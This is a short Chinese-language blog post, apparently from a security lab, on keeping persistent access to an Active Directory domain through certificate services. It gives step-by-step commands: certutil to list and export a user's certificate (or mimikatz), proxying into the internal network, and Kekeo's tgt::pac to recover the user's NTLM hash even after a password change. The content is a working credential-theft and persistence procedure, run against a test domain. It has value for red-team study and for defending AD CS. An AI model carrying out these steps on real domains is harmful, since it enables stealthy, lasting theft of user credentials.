文章前言
本篇文章主要介绍如何通过证书服务来实现权限维持的目的
基本原理
在微软的文档里有一段话\\”当使用PKCA时,KDC在权限属性证书(PAC)中会返回用户的NTLM\\”,也就是说当使用证书进行Kerberos认证的时候,返回票据的PAC包里面还有NTLM票据,故可以用于获取用户NTLM Hash
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pkca/4e5fb325-eabc-4fac-a0da-af2b6b4430cb
如果我们控制的目标主机中存在企业CA,则用户(或计算机)可以请求注册任何可用模板的证书,在用户凭证被盗时,我们可以请求一个模板证书,该模板允许我们作为该用户(或机器)向Active Directory进行身份验证,由于证书是独立的身份验证材料,即使用户(或计算机)重置了密码,这些证书仍然可用~
漏洞利用
下面我们用一个案例来说明:
Step 1:控制域内一台主机,发现里面有个用户的证书
Step 2:查看可用证书
certutil -user -store My
Step 3:使用certutil导出证书(如果导出不了的话,就用mimikatz来导出证书)
certutil -user -exportPFX f418dede290437696deeb6f53f099f1b58c918fb c:\\\\Users\\\\Al1ex.HACKE\\\\Desktop\\\\Al1ex.pfx
Step 4:然后把pfx文件拷贝到我们自己的计算机,双击导入,输入刚刚我们输的密码
Step 5:然后在我们本地的计算机做个代理进内网,并且把DNS也代理进去(dns设置为内网的域控)
Step 6:使用Kekeo获取用户的NTLM
tgt::pac /subject:Al1ex /castore:current_user /domain:hacke.testlab
Step 7:修改用户密码——Kksvqm@123
Step 8:使用之前的证书依旧可以窃取的用户的NTLM Hash
tgt::pac /subject:Al1ex /castore:current_user /domain:hacke.testlab
文末小结
本篇文章主要介绍了ADCS在权限维持方面的应用,其实ADCS还可以用于权限提升、中级攻击等多维度,后续有机会在进行逐一分享
原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34273.html